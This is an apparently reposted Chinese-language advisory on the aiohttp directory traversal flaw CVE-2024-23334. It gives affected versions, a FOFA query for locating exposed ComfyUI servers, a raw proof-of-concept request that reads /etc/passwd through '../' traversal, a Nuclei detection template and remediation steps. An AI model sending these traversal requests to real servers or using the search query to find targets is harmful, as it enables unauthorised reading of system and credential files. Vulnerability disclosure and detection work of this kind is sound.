本文主要是介绍aiohttp 目录遍历漏洞(CVE-2024-23334),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
aiohttp是一个用于异步网络编程的Python库,支持客户端和服务器端的网络通信。它利用Python的asyncio库来实现异步IO操作,这意味着它可以处理大量并发网络连接,而不会导致线程阻塞或性能下降。aiohttp常用于需要高性能网络通信的应用程序,如高频交易平台、大规模并发API服务等。
aiohttp 存在目录遍历漏洞,恶意攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等。
利用条件:
1、使用aiohttp实现Web服务;
2、配置aiohttp中的静态资源解析,使用了不安全的参数follow_symlinks,代码如routes.static("/static", static_dir, follow_symlinks=True)
3、成功利用该漏洞可读取服务器上任意文件。另外值得一提的是,Github上多个高star开源项目并未正确配置该参数,目前已知受影响的开源项目有:
https://github.com/comfyanonymous/ComfyUI/
https://github.com/ray-project/ray
影响版本:
1.0.5 < version < 3.9.2
Ⅱ、fofa语句
title=="ComfyUI"
Ⅲ、漏洞复现
POC
GET /static/../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1、构建数据包读取/etc/passwd的内容
Ⅳ、Nuclei-POC
id: aiohttp-readinfo:name: aiohttp 存在目录遍历漏洞,恶意攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等。author: WLFseverity: highmetadata: fofa-query: title=="ComfyUI"
variables:filename: "{{to_lower(rand_base(10))}}"boundary: "{{to_lower(rand_base(20))}}"
http:- raw:- |GET /static/../../../../../etc/passwd HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzipmatchers:- type: dsldsl:- status_code==200 && contains_all(body,"/bin/bash")
Ⅴ、修复建议
1、前往官方下载修复版本
该项目已发布修复版本: https://github.com/aio-libs/aiohttp/releases/tag/v3.9.2
2、如果使用follow_symlinks=True,请立即禁用该选项;
使用防护类设备进行防护,拦截../../等路径穿越字符;
使用反向代理服务器(例如nginx)处理静态资源。
这篇关于aiohttp 目录遍历漏洞(CVE-2024-23334)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!